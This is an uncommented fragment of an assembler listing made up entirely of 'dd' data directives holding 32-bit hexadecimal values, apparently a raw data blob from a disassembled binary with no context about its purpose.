dd 751686FFh, 38D781A0h, 46268FC2h, 98201DEAh, 73999502h
dd 6020BE69h, 318848h, 9F1A5110h, 0B265D3E6h, 5C7FDD00h
dd 0A532F94Eh, 0A497DAEh, 0BE5A9FAAh, 3133C0A8h, 0B8001743h
dd 9862FD58h, 67B5F2Fh, 4018670Eh, 6348983Ch, 373A097Ah
dd 8314000Ch, 24287A51h, 80BC04D8h, 92124F0Fh, 74192D64h
dd 0C9619D65h, 0A1420h, 0EB93BC23h, 0CF6EC66Fh, 0A7BADB1Ah
dd 7DA08731h, 5712F101h, 21D87080h, 5EA9B40Dh, 4E166714h
dd 0C9DA00AEh, 7A6C86B2h, 8440EB93h, 389456ACh, 0A7009605h
dd 2B758EB9h, 427B6B9Ch, 511BD3Ch, 15D42940h, 6A73F001h
dd 0F024923Bh, 164709DCh, 180F78DFh, 3C146160h, 1B121820h
dd 5C40C49Eh, 0EF7E3202h, 0A5C600AAh, 0F6DFB32Ch, 0DA06C30Fh
dd 9FE17E2h, 4FA40498h, 8167FD02h, 82A166DCh, 0C93085F8h
dd 0AA584871h, 4C5E0969h, 0BA88425Ah, 0BE81CE30h, 2D16CB3h
dd 0A090A890h, 3C007A93h, 0C92ACA95h, 2D17487h, 0DE3AE3EBh
dd 94905E34h, 9300C2D4h, 7D14996Dh, 2C8FDC7h, 281A65BEh
dd 7D418410h, 0F8E1A473h
dd 0E2DC78h, 77FFFC51h, 0E0D96891h, 0A114D14Ch, 1180E4BDh
dd 0ABD9FE09h, 80016FFh, 6AC69F78h, 0B0CC4D17h, 0FBA0177h
dd 77410367h, 1B6462EFh, 0C841C2A9h, 92F10C0Ah, 0C97068h
dd 64811691h, 5A7833C8h, 6610E100h, 0BD949C84h, 1BBB1858h
dd 30D931D3h, 115C7B09h, 999C0187h, 70340672h, 241490BAh
dd 0BDC8EE65h, 63901600h, 0E5072756h, 8A1F1E00h, 5946A24Ah
dd 263E002Dh, 9A4CE860h, 3600898Eh, 87D534FDh, 515BF9Ch
dd 0ED2A8278h, 86548577h, 8409D90Ch, 203CE345h, 0C81BA590h
dd 52A49063h, 458E401h, 1AF7ED00h, 71EBC595h, 0C5A2605h
dd 8443D6A9h, 108A9F16h, 5EB9AB0h, 6D9453D3h, 0ABF5D040h
dd 78A5137h, 0C8DA0AD5h, 0E28F0B5h, 9600FE21h, 390A66Eh
dd 25CB117h, 162E2C5Dh, 0B8B8B382h, 6D00E2EAh, 3F853094h
dd 937795Bh, 50408BF0h, 34B7B400h, 78BA88C1h, 8A2BB01h
dd 7D41D585h, 98C2E4F8h, 9B3C9844h, 2C5F9E20h, 0E69E00A4h
dd 58EEFAA5h, 0EDEB6700h, 19807BDh, 50CC00E9h, 12D23CE1h
dd 8B00DBA3h, 0C8231D66h, 0F5FBE016h, 294276ECh, 84849432h
dd 80331893h, 4127C498h, 83059900h, 95BC4FE6h, 1FB00030h
dd 5E20EC07h, 0B5003362h, 5D0B4B56h, 0C82B9Eh, 0EBED3BA3h
dd 90576387h, 0B504E60Fh, 0A428B277h, 0E0ACAB0Bh, 0E9B04C4h
dd 2F712814h, 379497A0h, 14B22E1Dh, 1123D800h, 432BD936h
dd 59247D84h, 9E00E82Fh, 521E534Fh, 75981C6Ch, 0DC436604h
dd 0D4D07417h, 499B24B4h, 78004C9Ch, 2E5D264Eh, 64923EF6h
dd 0C0CC620Ah, 0FC2CE01Eh, 987A8578h, 0D9FA90h, 0F2D2ED4Fh
dd 57283AEEh, 811D9D3Bh, 32712B34h, 31C1F83Dh, 2C9817C0h
dd 3FEA7Fh, 0B3D06E30h, 0C003471Bh, 0B823BF0Fh, 5DE0F1C1h
dd 6EE020h, 0CDD81ADFh, 22FD2F39h, 59B4A200h, 0BA3E490h
dd 5CF4B043h, 570981BAh, 407112Eh, 939D1068h, 4A0BD3A4h
dd 91DAE14Eh, 90E88FDCh, 1B890270h, 46A62315h, 79AEFCE0h
dd 67AF4E09h, 0EC29D5h, 0F1904CA1h, 86A71665h, 0FC9071A3h
dd 0BFD0D33Ah, 4C91095Dh, 0B300E820h, 0DD4904F3h, 4DCD4031h
dd 5392E817h, 1881F94h, 33F3D36Ah, 7A6FE812h, 980C0892h
dd 69FA7C9Fh, 0C3A50044h, 23402D4Eh, 6E1C7635h, 7180D7DCh
dd 7CA34A2Eh, 63970032h, 92742480h, 0A55C392Fh, 0E0A17B20h
dd 0C86897ADh, 0F3C42C40h, 25621Fh, 18BE7DE2h, 24770288h
dd 0AA264378h, 2A0046A1h, 4B0D0ED0h, 0C1981496h, 5C00CCEBh
dd 389D5D1Ah, 2C60BDB6h, 0F65B2D2h, 47960A75h, 0A494A0h
dd 0C34F072Ah, 0BC9A5DD0h, 0B030205Ch, 14DADB8Ch, 885EABE3h
dd 1E90C600h, 0FAB4595Ch, 8040E558h, 0E4EE2746h, 0B070E3D7h
dd 2CA4AEC4h, 9EB0EA38h, 0D92980AFh, 5B14EE88h, 8ED7721Dh
dd 0FF972DC0h, 6B4D6h, 907D9EA3h, 98331C27h, 0A88A48h
dd 0E2BACDDFh, 102C26h, 39CC658Fh, 8C13593h, 0A942A217h
dd 0E216D84Eh, 401BB8FEh, 1DEC06A4h, 1C766043h, 6CFFC738h
dd 7E52326Dh, 740B1861h, 2877911Ch, 0A98F9600h, 4D1CD28Bh
dd 0E65600E4h, 0FC0D3D05h, 10000C4Ch, 0C4C524ECh, 0C0A91362h
dd 0A75D91B8h, 7E1DCA43h, 4E016E05h, 0C979F51Ch, 0C0738431h
dd 0B6D57300h, 16FD136Dh, 3437EE12h, 1A00B412h, 68336972h
dd 48A00036h, 74DAACC7h, 0E3F8170Ah, 0EFEDF00h, 37783FDCh
dd 6A4902Bh, 0C188906Bh, 0AD1C8891h, 0F60032F3h, 0BA3EBBABh
dd 6CB900B4h, 0AC70FC03h, 9804A9B0h, 0C4A0D0ECh, 0A65BF180h
dd 1511384Fh, 99AEBC89h, 0C22D5041h, 1FDC41E0h, 78016494h
dd 0B3794B6Bh, 0BAC8FD4h, 0A4AA1CBBh, 9084C025h, 0B2CB3940h
dd 0F8A65F50h, 0C804649Ah, 66AAAD2Ch, 0C01318C2h, 1D6ACE20h
dd 49D324BFh, 0A3810D9Ah, 7281D935h, 1C332C60h, 0F18604C0h
dd 395E00A6h, 0C471A8D7h, 8F29DB93h, 1826809Ch, 0AC141A00h
dd 17B3F387h, 8FB550h, 7E9990F0h, 0D54A3B33h, 13697026h
dd 0A13436h, 9625CC3Ch, 0C2FCD51Bh, 92AFAB09h, 3BDCC488h
dd 2F80F591h, 0CB36B916h, 63143F27h, 0C280A9CEh, 8764C566h
dd 0A061ECE8h, 5760A6EEh, 54B50063h, 0FE335E8Fh, 8400DF26h
dd 0CA7FC17Eh, 396576DDh, 882AB293h, 92590980h, 74A0CE1Ah
dd 0B6713276h, 582820D6h, 8AF83FBFh, 498010B0h, 1C00AFB0h
dd 6A062495h, 71ED6C35h, 62C9C17Fh, 401CFA3Eh, 4E46C6CCh
dd 0C0A77D00h, 8EF90F30h, 0A89E0006h, 1CDD82A9h, 0FF0F77DAh
dd 5FB4D40Ah, 0D04796FAh, 0EB3C009h, 0EF51609Ch, 9B944Bh
dd 7B120836h, 631C68C3h, 0A0E5AB26h, 5D0BC00h, 0E6F9D93Eh
dd 668401B6h, 0E708291Fh, 3F4F30D1h, 520258h, 0BCAD3175h
dd 3B876Ch, 0F388703Dh, 0C7B447A6h, 417DE4A1h, 489402A0h
dd 0C1386E84h, 696D2E5Dh, 3A391438h, 49D60084h, 8AE47BA6h
dd 80849668h, 32FF9AC8h, 8D0525DCh, 0BB901AF5h, 78D06FC4h
dd 4A6F59A1h, 85A413D0h, 124400D0h, 0D16BBD5Ah, 4E951006h
dd 0B088EBh, 61717B72h, 0FC74DC9Eh, 199F930Eh, 7D12156h
dd 247039F9h, 294D62h, 4925B605h, 51C040B3h, 0D7D22C5h
dd 8FA2D400h, 0EC41C38Dh, 0BE3A0CF6h, 0EDE0D679h, 0F216910Fh
dd 0EFA60B7h, 0EA0C6BB6h, 4701033Dh, 17EE7D5Ch, 0B4585AEAh
dd 9BEFC600h, 24C7875Eh, 0F21096Ch, 0CC07FDDh, 4E2B36Eh
dd 14B5E800h, 102524F1h, 773BFA81h, 76B0C94Dh, 729F30E5h
dd 80000EAEh, 0E2B603A8h, 9671003Ch, 0C036D8A3h, 0A10088F0h
dd 0AE1F556Ah, 0A433C927h, 516CAAA8h, 0CA8824F8h, 8100B810h
dd 31FB88DEh, 1E360CA9h, 0E040C8h, 0E86274A5h, 0B845014Ch
dd 0BE86EC18h, 0A1C05921h, 60F2D5EEh, 0D179ADh, 0A9BDAAE4h
dd 0E9B0714Bh, 3C094571h, 4C932463h, 0E66A3118h, 7049BB4Ah
dd 8CFC9230h, 0F0CA2E22h, 6150249Bh, 4C4E600Ch, 0B000B8ACh
dd 0E108C9F9h, 0A1466B5h, 946D3644h, 0D4C2E030h, 0DCB04DD7h
dd 24BA34A1h, 0E87BCDF4h, 28B07CB8h, 7CE5506h, 38C6AD8Fh
dd 9E80C71Ah, 0FE215C2Fh, 0BEEED1A1h, 0F91D1030h, 52B943FFh
dd 0DFC75893h, 5C9BB933h, 0CEDC20C8h, 1FA8F13Fh, 3B80A44h
dd 82C65EB4h, 0F57590C1h, 4F4B0121h, 9C23C93Ch, 639092CCh
dd 6A1C4400h, 12753FCFh, 8019DCC6h, 2EBFB1E0h, 0D28418C1h
dd 642D1035h, 403C741Dh, 0B9D4555Dh, 0E41706ACh, 0AC6466AEh
dd 0B180FC05h, 0F9C230A2h, 68486803h, 0DF4C15A0h, 0A73E2D44h
dd 0B730B6B0h, 7890084Eh, 23E0043Ch, 8C9466F5h, 36178198h
dd 0AC209FDCh, 0DA400Eh, 2850E87Fh, 3AFDE7D5h, 8A8D2C0Fh
dd 67B7622Bh, 320E8AAh, 0BBEB22E5h, 80F31F05h, 0D4D81632h
dd 0D40C050Eh, 80A52043h, 723759A6h, 15A6DB1Fh, 78960453h
dd 84413851h, 3D83B080h, 6D192A94h, 708EB902h, 50D7EFD5h
dd 0AC80963Ch, 0E33B0738h, 15E65A72h, 0BC00F0E2h, 0A325F607h
dd 0C8E08C46h, 0E98019C0h, 9A960EE3h, 0B6010588h, 86904CB5h
dd 0F901A878h, 0BA3DDEEEh, 77F4B01Ah, 0FC675C81h, 40896CD0h
dd 690BE9D6h, 94983012h, 0BAC27A99h, 772E0708h, 7E59A7Dh
dd 8DADB1FAh, 4B583C4Ch, 72C7828h, 12659CC4h, 0D47A4776h
dd 0BAA4C1ACh, 0B082083Ah, 2CF902B8h, 65F76981h, 0D6C9CCC8h
dd 0E3D12100h, 76734C09h, 0AC370BDAh, 104A88ADh, 0DC2088A9h
dd 3536BE89h, 86193460h, 0EB9ECCh, 0AB7A92F6h, 8995C696h
dd 365748h, 2611ADEEh
dd 139341B5h, 5D914F99h, 72A4C2D0h, 4486323h, 9A2C9016h
dd 2680BCD6h, 58C09D50h, 0F4AA5365h, 59B3A844h, 0EC5C80A4h
dd 7EDE0FDDh, 40652067h, 17C55F22h, 9A83049h, 88599B78h
dd 998E5C9Ch, 0D15501FEh, 598715DEh, 0D098D40Bh, 2C9B1B3Eh
dd 12FDB714h, 590072A5h, 628BE1A0h, 587879F6h, 5500FC9Dh
dd 3CE7680Ah, 85480FD0h, 7D880094h, 66C1C517h, 27400118h
dd 19109995h, 0B551C0BFh, 67A48800h, 9F73AFCCh, 4146009Dh
dd 0EC79E11Eh, 75004068h, 8EE2C336h, 1215444h, 0B9B08D3Fh
dd 0F4CF92D0h, 1202F937h, 9C15710Ch, 738C581Eh, 52240059h
dd 6008BD0Dh, 7C021145h, 231CABE9h, 0B05DC166h, 61E6C8h
dd 9E6B60F1h, 181E5C05h, 330DE00h, 0AD0D5732h, 77590095h
dd 450F4933h, 8302CD8Bh, 0F30B42C5h, 9584805Ch, 86A66Dh
dd 0FC2BA514h, 0DFE699C4h, 42F04171h, 9AD19201h, 66251069h
dd 0E2D0D0h, 0BD12B862h, 44D2A56Eh, 26A2800h, 9D83BFBh
dd 8AED008Ch, 0C1904337h, 5D3C5FA4h, 0EE2C8127h, 49F74FBh
dd 19E8D0h, 9CB7F7C8h, 0C23B9175h, 0D8A6EB00h, 85E21588h
dd 5CA80113h, 1F77275Eh, 36D0208Ch, 3EF231F6h, 3C56D400h
dd 8DC090FCh, 42282EB1h, 0CF81049Ah, 0F17980E7h, 5A0F5D7Fh
dd 246BF8B3h, 4CF4C666h, 26570095h, 41A3F6ABh, 39004C89h
dd 0F469C6C2h, 7D548ACh, 2C0B9AD7h, 94EB50DBh, 63755AF9h
dd 3E651A00h, 0A81B5855h, 3BF700B4h, 78960986h, 9A0037D3h
dd 0EDDEC018h, 1B8AE2h, 53FCB912h, 0A0361A1h, 4BF89B00h
dd 0AB6D3EC7h, 0EB78C54Dh, 904334Ch, 5FD4D1F9h, 302B9E0Ch
dd 85BFAC60h, 75AE00D0h, 0C6C92A1Ch, 513EDD31h, 0AF5A14BEh
dd 90B2210Ch, 62AEC83Bh, 9610A5F3h, 0E4218427h, 0C4821098h
dd 8A22935Fh, 84990318h, 210A643h, 658E88A8h, 0DA184A69h
dd 0C289548h, 84327610h, 0E222A7CFh, 9B8E18A2h, 1982DE11h
dd 4A11605Ah, 8B009C89h, 13037DFh, 0A86B5C29h, 0F1CCB100h
dd 52C0A3Eh, 1ADD955h, 0C0B8473Ch, 824E2015h, 20AC585h
dd 0FCBF863Dh, 95DE82B8h, 0A3540A06h, 0A07CBDC8h, 1334209h
dd 760BFC62h, 0E75788B7h, 6F1DB6E0h, 2EEEB03h, 0A1673F66h
dd 8874CE9h, 60FC7891h, 0D5D84D26h, 56DE9700h, 70CA08C7h
dd 4C3E5382h, 0B09A131Ch, 795010D9h, 0E744200Bh, 0E1A85BDh
dd 0DBD48400h, 461F0ACh, 2B9CD1D2h, 30B4C732h, 9044C2C5h
dd 4E20490Eh, 7BE942h, 3C8B0974h, 0E8C7723Bh, 461CAE60h
dd 639280C4h, 25347E8h, 0DDF0F3F8h, 6960C779h, 3D521F01h
dd 38FEA0C0h, 4D551C2Bh, 5DC0C0B7h, 0DE1711F8h, 0AD29F660h
dd 20C9CC02h, 0BDE82CE4h, 9E238200h, 9390E81Eh, 97CF0AE7h
dd 605CD0A7h, 6241AA44h, 4B2AD03h, 0F021AB97h, 1EF6711h
dd 6E812ACDh, 0D0894057h, 5400D97Fh, 2B700B39h, 18D2C4B9h
dd 0B1C0E2ACh, 191282F0h, 30153FAAh, 84C63D10h, 6E583CCDh
dd 65CD488h, 0A143AED5h, 781928CBh, 0C6B0C725h, 8FD4840Fh
dd 4CC1296Bh, 0D262EC0h, 0FEC97B69h, 1782022Fh, 2BA393C8h
dd 0FB6B6C48h, 6FC17309h, 0CC38AF18h, 1E844143h, 0AF026C7h
dd 80CCF79Bh, 3C54FC6Bh, 560732DAh, 825B9611h, 4CEE2BF0h
dd 374F0706h, 40771781h, 0A30A5D09h, 1AFEB378h, 8000237Eh
dd 618292F4h, 7A344CB7h, 9B4E001Dh, 4ACA9E2h, 57007A93h
dd 10AA9860h, 304A96E7h, 50205B2Dh, 6E0CFE1Bh, 10E5EF4Dh
dd 0A1C3309Bh, 1136E208h, 9E97F206h, 3185E3h, 189CBA4Eh
dd 3B138EF1h, 62AD5B33h, 0FCED9886h, 0E5963ABDh, 48884518h
dd 0D0EA61C2h, 6742F48h, 0F416AED8h, 0E48D3D30h, 0F7599A33h
dd 94CE9800h, 0EB182315h, 0B65B038Fh, 0FF69006h, 1F6ECDE0h
dd 15724B1Dh, 62BE0587h, 19507137h, 577634D8h, 0F3F14495h
dd 58450C8h, 0D1003A0Ch, 0AB4CA702h, 0C92770h, 6486A247h
dd 0D6F99B8Ch, 6313E500h, 0D415CFB0h, 0E683030Fh, 464BAAA5h
dd 0CE0A53C8h, 367A4016h, 80A2AF0Eh, 9B4C5BD1h, 3EBF03Fh
dd 6E6DA61Ch, 0C9D02717h, 660CCEB6h, 89E036A3h, 71400AEh
dd 0F0C03AEDh, 4C056170h, 13999DAAh, 0A848428h, 857B61F2h
dd 0EA020A8h, 0D7A7477Ch, 0D808FEA1h, 2180D0BEh, 94E2831Eh
dd 705A3707h, 0B596BB00h, 4F180358h, 0FEB225A7h, 3DE28103h
dd 0B05930B8h, 5CE3B2Dh, 9EE717F2h, 60D00469h, 113120F8h
dd 17623AABh, 0EF67604h, 0F0648AE5h, 0BFFE5h, 10574AFAh
dd 1E0AB377h, 0FED23105h, 27C78597h, 0D8B743C0h, 7C711E9Ch
dd 0AC78C0D9h, 70C606C4h, 44DF2003h, 0A0D72309h, 0F0B2CB1h
dd 31F634F0h, 0B35887E0h, 0A3301878h, 0D62A30A5h, 776C0044h
dd 0FE5F013h, 0E600391Eh, 0BF6790C2h, 3EC3036h, 89B14E7Ah
dd 98A027EBh, 860E09CFh, 206AFCFDh, 0A5CD80C6h, 0F65E8AEh
dd 946BF44Dh, 32EA5500h, 0EF0ED25Fh, 1F770CB3h, 80AD5043h
dd 36707774h, 0C82E9CD9h, 1AE17309h, 522B0054h, 3FD8827Ch
dd 0D1A9D3C3h, 5570C980h, 0DD444BF7h, 0B5C0E9F7h, 1E95793h
dd 82EC31C8h, 0F3F260B9h, 90A62072h, 0FF200B03h, 7EE7F36Ah
dd 171F3A38h, 0F1CF3278h, 4002D811h, 768123EFh, 1087B1C2h
dd 0DEDC2A0h, 10A82086h, 540A3A44h, 1E43C0BDh, 7597C15h
dd 6097FC74h, 9F1049DCh, 8BF4ED00h, 586A6E5Fh, 0C3F1061Fh
dd 0D1365760h, 8CB47A28h, 8FA01500h, 32FD8E67h, 483662ECh
dd 9C08D973h, 91180C2Ah, 52801495h, 40F460E6h, 4DE1750Ch
dd 464CC20Dh, 322148CEh, 500048A8h, 6105AC6Ah, 0BD58E93Fh
dd 0F8408370h, 319AF4ECh, 0F048FCA1h, 0E40104BFh, 0A5B0877h
dd 0D1138850h, 37C0C4EFh, 86FC80AAh, 90C5A707h, 0D04A498Eh
dd 12F00477h, 3EC0CF1h, 0C5785CB7h, 0F521BF0h, 0A8F300B4h
dd 0AD8BBC87h, 92733328h, 0C1005A09h, 0F587A0D3h, 1B6DC53Fh
dd 0B6783780h, 0C74650C8h, 0F13DA600h, 6CD6F772h, 402C50CEh
dd 3E1F0E10h, 938179D4h, 98077118h, 0AF21E808h, 323E0037h
dd 0A51E3D80h, 9DECDE8Ah, 7990EA15h, 72E701BCh, 1BE3D5A8h
dd 685609Fh, 0E17E949Bh, 2FF9971Fh, 0CE02080h, 0CCD9E848h
dd 0AA418C08h, 0FD300100h, 40B2CDA1h, 54B4002Dh, 39A5A272h
dd 8016B12h, 0BF25837Bh, 2830283Eh, 19C81475h, 7064CCBCh
dd 2FD5609Fh, 4320701Fh, 0FC8420Dh, 0E02FFDBEh, 0C05D838Ah
dd 94EF5077h, 5B27A07h, 5905F863h, 32D04074h, 0E4972C7Ah
dd 46E247F4h, 7FD01200h, 60D69345h, 0E4E85276h, 70660400h
dd 0D4EC3340h, 0F105C6EEh, 0D72D5DEBh, 3238C3Bh, 4354F839h
dd 0AE0025F4h, 4952817Fh, 0F70DC2Ch, 0E33192F5h, 808F63AFh
dd 28A74D9Eh, 84380BD0h, 38301354h, 6618A5DEh, 90C845ACh
dd 20116077h, 508EC8F6h, 2258C0A1h, 0E81C0260h, 42E43230h
dd 940084CCh, 734B3080h, 9770CDh, 0EFE1B83Ah, 0E7F4D29Fh
dd 6060AE74h, 3A153021h, 0EC580043h, 3D398070h, 3100AA53h
dd 0EA7528C9h, 3FCDBE8h, 0C2370AB1h, 380026DEh, 36FEC577h
dd 71AF27F9h, 7DA00060h, 5B7A9D4Eh, 44600180h, 0B1B4F848h
dd 26D3007Bh, 13C94DE5h, 76000BC0h, 3D6BDFF9h, 7696E819h
dd 867C8Ah, 64DE2836h, 0CED1F057h, 7A74251Dh, 934B7700h
dd 3A02B790h, 278CC3FCh, 5F089204h, 0B94B90C0h, 0C56B7B8h
dd 3C217AFCh, 4F69BC80h, 2A3600B1h, 396898BFh, 8F87AF7Eh
dd 1C714032h, 0EC007341h
dd 0C04E0B18h, 31FA0Ch, 6AE6B313h, 83F7476Ch, 7B00DFE8h
dd 0D4E2CEDEh, 0D7D202h, 1D52F826h, 5EAA58D3h, 7E8CBE01h
dd 0BBC08DDFh, 0CE089Eh, 0FD5AD85Fh, 6E0C26D6h, 0A0088980h
dd 94C0A3Dh, 40D876E5h, 0E18F3A01h, 0BEAE1721h, 35004CA0h
dd 987739FAh, 1A644F6h, 0D75B282h, 54B1A75Bh, 269C0894h
dd 0FBB7B3C1h, 0D6189BC5h, 0BBC621C0h, 529D9B7h, 0E0711B89h
dd 23243AD2h, 24FA00C8h, 8A15C4C2h, 0B4167403h, 0A0E55FA5h
dd 72EE79h, 6327C7F3h, 664671A3h, 52BCF9C5h, 620ED441h
dd 0A1E88B8Dh, 6EA50418h, 80F35834h, 7428FE34h, 12E6CEB0h
dd 0DCA84A75h, 62078FADh, 82A45CFh, 2A324D63h, 0ACF908h
dd 0AD672786h, 457760F5h, 82BFA701h, 28C0FF7Fh, 0ABEE7980h
dd 6E0C6B89h, 0D0A06091h, 0A9E69021h, 4CCBE2A8h, 4B0B318h
dd 0D87F7580h, 0E1888004h, 0A406A3BCh, 0F64B26D4h, 0DD750051h
dd 37DF40Bh, 0FC0307AAh, 5C0C4F43h, 0AF8CC8EFh, 0F0E20040h
dd 0F2D08F01h, 422BE384h, 96788086h, 15DB83Eh, 551316E8h
dd 40B63CD6h, 3582D5F1h, 7322F300h, 86D2C26Eh, 0DD7F0430h
dd 98144C3Ch, 3A040450h, 0AF0FE1B4h, 21006833h, 0CB39F934h
dd 0FC27CDCh, 0CC71F760h, 72891F6Eh, 1D94B420h, 0C7002BEEh
dd 0EA98CA85h, 9174D70Ah, 524200E4h, 0C42A76E7h, 5BD02100h
dd 272B3ADFh, 29A40091h, 0A616FCCDh, 5C608B39h, 0D2D47779h
dd 247B4C25h, 3A084E09h, 9CE26001h, 0D445D617h, 0A52EC20h
dd 8EAC506Ch, 0BCFFE124h, 3A41CCC4h, 0CC843D17h, 0F0BF7DE0h
dd 0BED424BEh, 0DC81605Ch, 0F500C523h, 16D86529h, 2456663Eh
dd 28E859CFh, 0FBDC8160h, 62088C18h, 0C43245B8h, 248D40F6h
dd 972D67h, 4C6E1C09h, 60CC8B0Dh, 0D05BCE06h, 0C8F08FDDh
dd 91C0FC58h, 4645C162h, 0FC223Ah, 5A67298Ch, 48319F51h
dd 48826430h, 104BB6DFh, 3A74650Fh, 2C18297Fh, 0D628D01h
dd 1A185A44h, 259021C0h, 3F723867h, 7F00C9DBh, 6EE40E98h
dd 0F2314B24h, 5BB329CFh, 0F8516FD9h, 1980D05Ch, 0D7FE5EFDh
dd 711353E0h, 4422C8A4h, 0B78F302Ah, 0BBFBFF11h, 0BA9F7B88h
dd 151380F8h, 0FFC38F7Dh, 3A2D247Ah, 27BF0AE8h, 842F8CD8h
dd 80EFB30h, 678EDF6Bh, 0C08025DCh, 617424B6h, 33AB5187h
dd 0E8717020h, 8C96800h, 7E095C80h, 0CD94A842h, 0BB960AE2h
dd 3A88305Fh, 0A7D45C7Ch, 0FD567005h, 6BBC40D3h, 0B69935F2h
dd 5ABE5B01h, 7AB0E512h, 2C158C30h, 32C55184h, 0F84C92A8h
dd 34C16E24h, 1E1A4040h, 0A0CC4AE2h, 609F8D1Bh, 486FB896h
dd 0E41274C2h, 69C820E6h, 7D00315Ah, 6B0D04D2h, 0F5759F9h
dd 9EFA34Dh, 3DD1D7E0h, 260EB3B2h, 625865C5h, 807A5F6Ah
dd 8B33926Ch, 0CAF02C70h, 4153ECCh, 6D00D8CBh, 3DF2FB2Ah
dd 3248E9CEh, 0D8EF01C8h, 4ACF4797h, 0EC6279C1h, 48C15034h
dd 0B5C024E8h, 46FC01B7h, 981228Bh, 7FB7BDC4h, 5C0F877h
dd 0A4E12C91h, 50C096F3h, 0E695E8A0h, 757188h, 178B4283h
dd 126D1C65h, 29E81BF2h, 710F3100h, 51427B67h, 44F30098h
dd 4B28526Ch, 0C00F6150h, 0C0943E7Ch, 0A477AF0Eh, 35410034h
dd 0D8EE842Bh, 74036EBAh, 5ABF31B3h, 75510395h, 17694289h
dd 26386844h, 3BD53240h, 0B0004281h, 0F3B4FD6Bh, 4503A72Dh
dd 597EE538h, 0A490594h, 0C0180269h, 115B8E6h, 3D1E7DE0h
dd 621F8D6Eh, 9F7C0840h, 60778792h, 68918178h, 0DB3CC5F6h
dd 0F3FB8C5Dh, 602508CDh, 60B72096h, 0D00DDF6h, 9E665669h
dd 0C86F8C7Fh, 90C0B0C9h, 46176A42h, 212D307Dh, 1D4288D2h
dd 83C8808Fh, 7C205C9Fh, 98806FCAh, 0E4BC17B0h, 2B327D00h
dd 0B59A310Ah, 6071600Dh, 0D96072E9h, 2F110160h, 38E55B0h
dd 356E6588h, 818AD80h, 0C22072FEh, 25550069h, 0B7E69790h
dd 0CE0FCF3Ah, 753BF7EEh, 0BC1A0EACh, 6D094E0h, 49779E02h
dd 5F3A00D8h, 7A4A2C5Ah, 0FA07F7BAh, 9152CBB3h, 3A6403CEh
dd 95403C37h, 6A39C681h, 0C48ED3C0h, 8CDBBB8h, 0BEF4213Ah
dd 0F72F1339h, 0C45404B0h, 0A7089330h, 0D10FC91Ah, 3E3EF418h
dd 48C1DD00h, 0B85366D8h, 592C3114h, 4284C7B0h, 1C5D17D1h
dd 0A7CE280Bh, 293B5900h, 0C49DB3CBh, 0A89250DCh, 0E23EE68Ah
dd 82E5F7AEh, 1C9AE830h, 0C311EC40h, 8BE16850h, 4E5A480Ch
dd 48502Ch, 0B66DB846h, 30BD45ABh, 61BCED0Eh, 0CB984067h
dd 1EDF56h, 22494F23h, 7AD411B2h, 8043C43Eh, 8DBC7CF0h
dd 73D0D89h, 2B6E5C02h, 6FE871F3h, 4BF0EC0Ah, 6207DD00h
dd 0C3EA885Dh, 4CB8F6h, 23419028h, 74B86D87h, 0A372BF00h
dd 6188CFC9h, 58311E3Dh, 0C724F6h, 63BDFB1Bh, 0C50041A3h
dd 48445150h, 0F357F33h, 58E2FA42h, 0D7822761h, 4E9770BCh
dd 80C6CF38h, 0D0C5E33Ah, 0B4A29Dh, 7810B876h, 7C46772Eh
dd 12C72400h, 2B8DC4AEh, 0E6180048h, 80AAF832h, 93006304h
dd 15F01358h, 347392h, 0DD8D84A2h, 91AF2106h, 36863800h
dd 4D2A2237h, 0E983003Ah, 62C415BBh, 0EE002F0Bh, 0BC5347CDh
dd 4858FE27h, 0AE2434D0h, 346F0006h, 0A1AB9D5h, 74002A70h
dd 4BB05F6Bh, 0A18F84h, 0C310ECA6h, 2481B22Eh, 74A50B07h
dd 0DFF05D56h, 7307294h, 0C8B3042Fh, 0CC9A5265h, 80186041h
dd 862D5F50h, 4C2452h, 97D9B15Ah, 1C90BE58h, 7E1C50E2h
dd 4700E08Ah, 8760BF5h, 0F2E30352h, 3B322136h, 0F4734AC8h
dd 5772DB8h, 0C7A2600h, 0EF79E763h, 5FD8008Ch, 8E496280h
dd 9A00D9E5h, 0E4A5EA0Ah, 69021Ch, 0ED8F0F75h, 6C597D60h
dd 0CE80F000h, 4C115438h, 93DA07FAh, 0A039AC89h, 0DC216C0Bh
dd 476BEF00h, 6D09E54h, 9CC0018h, 1CC6CDB2h, 0EA00AEA2h
dd 83B86577h, 636DA7E1h, 0ED4A30F0h, 1B0A1CB0h, 28FC7209h
dd 69942091h, 9079BDEEh, 607000ACh, 559BC0DAh, 38002DCFh
dd 92AECE16h, 8684E9h, 0AF6FF21Fh, 0E1FD0628h, 2D2C5700h
dd 0C543B4D7h, 53480146h, 78344574h, 0D4188023h, 2D82CBB1h
dd 181A7735h, 0C2F908Ah, 1CB0C45Bh, 8F296F00h, 0A8100ED0h
dd 1B3900E3h, 0A015F383h, 8B00E450h, 0AAD9F791h, 38EC3B6Dh
dd 0FF80CD56h, 78C08A1Eh, 0F0021150h, 0E4200899h, 21574070h
dd 1DDFA0Fh, 3B7FA877h, 600E7433h, 0FD00CF6Fh, 7030A5C7h
dd 241353Fh, 860B79F0h, 0C6406F5Ah, 800016F1h, 0D01E937Ch
dd 9FFBAD6h, 0BCC78437h, 0DBE69400h, 83004913h, 1D56867Ah
dd 364C385h, 0D7890577h, 17E80172h, 7E05F437h, 61CEC469h
dd 0DA8116C0h, 0E87152h, 5ECB4A11h, 0C3E28F8h, 638030E3h
dd 2B803001h, 0FAD2C238h, 49728140h, 5FB9002Ch, 0A69F6861h
dd 25064ADDh, 0ABF3309Ah, 0AF0500E8h, 0E24E927Fh, 0C60EC19Bh
dd 20E0DD38h, 0BFFF420Ch, 4457000Bh, 0A8CDB824h, 5C005116h
dd 0EB7F9F5Eh, 7BFA90E7h, 0F83E00CAh, 0E9B78A3Fh, 0B900B8CEh
dd 1EBB6DE1h, 969A99h, 987A05B0h, 0B1CFE997h, 334AAC01h
dd 0D1B5A8C1h, 1F3FE0C7h, 0ED09007Ch, 0FEEEDB21h, 0D607688Dh
dd 789D5AB4h, 3807A640h, 636E0053h, 0DFF6E571h, 0CE09BEF3h
dd 7FA68FBh, 4E402500h, 26DFDEBh, 12936B5Fh, 3C4080ABh
dd 0C100EC09h, 291D379Ch, 0C0850195h, 5D4F8318h, 0C40045FAh
dd 3334EACCh, 1CB4CA37h, 40D680D9h, 1B9011FDh, 0F2074521h
dd 0F6D4C060h, 2354DD31h, 4AF0C5E5h, 0B9B083h, 2D28DA3Dh
dd 90859F7Bh, 9ECCD0Eh
dd 0D0F805Ch, 18BFE20h, 5D0B5774h, 606698D1h, 2F00C890h
